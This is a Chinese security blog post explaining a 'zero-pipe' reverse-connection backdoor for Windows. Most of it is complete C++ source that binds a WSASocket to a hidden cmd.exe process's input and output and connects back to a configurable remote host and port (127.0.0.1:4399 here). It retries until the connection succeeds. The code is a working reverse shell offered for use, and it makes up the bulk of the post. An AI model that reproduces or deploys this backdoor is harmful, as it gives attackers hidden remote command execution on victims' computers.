安全之路 —— 零管道反向连接后门解析

简介

根据前面两篇Blog介绍的双管道后门和单管道后门，他们的特点是一定需要建立管道以便进行进程间通信。但是能不能不需要管道呢？答案是可以的，这里需要借鉴重叠IO的思想，将程序中的socket函数替换成支持重叠IO的WSASocket函数。

核心知识点

si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sSock;

即将Socket直接绑定到cmd进程的输入输出上，实现无管道。（si即STARTUPINFO）

C++代码样例

/*
*@Author: PeterZ
*@Time: 2018/03/04
*@Function: 零管道反向连接后门(Default_Port: 4399)
*/

#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <WinSock2.h>
#include <winsock.h>
#include <windows.h>

using namespace std;

#pragma comment(lib,"ws2_32")

const CHAR* REMOTE_ADDR = "127.0.0.1";
const DWORD REMOTE_PORT = 4399;
const DWORD MAXSTR = 255;
const DWORD READLEN = 4096;

void StartShell(SOCKET sSock)
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    CHAR cmdline[MAXSTR] = { 0 };
    GetStartupInfo(&si);
    si.cb = sizeof(STARTUPINFO);
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sSock;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    GetSystemDirectory(cmdline, MAXSTR);
    strcat_s(cmdline, MAXSTR, "\cmd.exe");
    while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
    {
        Sleep(1000);
    }
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return;
}

int APIENTRY WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
    SOCKADDR_IN sin;
    WSADATA wsd;
    SOCKET sSock;
    CHAR readBuf[READLEN] = { 0 };
    DWORD realRecv = 0;
    const CHAR * welRow = "=====> Hello,Guy ~ <=====

";
    int cRet;
    if (WSAStartup(0x0202, &wsd) == SOCKET_ERROR) return 0;
    if ((sSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) == INVALID_SOCKET) return 0;
    sin.sin_addr.S_un.S_addr = inet_addr(REMOTE_ADDR);
    sin.sin_port = htons(REMOTE_PORT);
    sin.sin_family = AF_INET;
    do
    {
        cRet = connect(sSock, (sockaddr*)&sin, sizeof(sin));
    } while (cRet == SOCKET_ERROR);
    send(sSock, welRow, strlen(welRow), 0);
    StartShell(sSock);
    closesocket(sSock);
    WSACleanup();
    return 0;
}